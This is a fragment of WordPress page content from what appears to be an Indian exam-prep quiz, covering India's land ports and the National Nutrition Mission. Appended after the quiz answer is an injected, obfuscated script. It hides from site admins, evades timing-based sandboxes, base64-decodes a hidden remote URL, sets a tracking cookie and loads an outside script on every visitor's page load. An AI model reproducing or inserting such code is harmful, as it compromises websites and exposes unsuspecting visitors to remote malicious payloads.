wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>In News: India curbs Bangladeshi exports via land ports<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-130\">\n<li>Ready-made garments from Bangladesh will be allowed to enter India only through the ports of Kolkata and Mumbai where the cargo shipments will be subjected to \u2018mandated inspections\u2019<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>About Land Ports in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>A Land Port is a designated area located on India\u2019s international land borders, equipped with infrastructure for the clearance and movement of passengers and cargo. These ports facilitate cross-border trade and travel.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>As of 2025, India has 15 operational Land Ports, located across borders with:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-134\">\n<li>Bangladesh<\/li>\n\n\n\n<li>Nepal<\/li>\n\n\n\n<li>Bhutan<\/li>\n\n\n\n<li>Pakistan<\/li>\n\n\n\n<li>Myanmar<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>These include major ICPs such as:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-136\">\n<li>Attari (Punjab) \u2013 India\u2013Pakistan border<\/li>\n\n\n\n<li>Petrapole (West Bengal) \u2013 India\u2013Bangladesh border<\/li>\n\n\n\n<li>Raxaul (Bihar) \u2013 India\u2013Nepal border<\/li>\n\n\n\n<li>Moreh (Manipur) \u2013 India\u2013Myanmar border<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">Source: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.thehindu.com\/business\/india-orders-land-ports-closure-for-ready-made-garments-from-bangladesh\/article69588320.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/business\/india-orders-land-ports-closure-for-ready-made-garments-from-bangladesh\/article69588320.ece<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>10.Which of the following are the objectives of \u2018National Nutrition Mission\u2019? (2017)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">1.To create awareness relating to malnutrition among pregnant women and lactating mothers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">2. To reduce the incidence of anaemia among young children, adolescent girls and women.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">3. To promote the consumption of millets, coarse cereals and unpolished rice.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">4. To promote the consumption of poultry eggs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Select the correct answer using the code given below:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(a) 1 and 2 only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(b) 1, 2 and 3 only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(c) 1, 2 and 4 only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(d) 3 and 4 only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>\u00a0Answer: (a)<\/strong> 1 and 2 only<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to Overseas Citizenship of India, Consider the following statements: 1. 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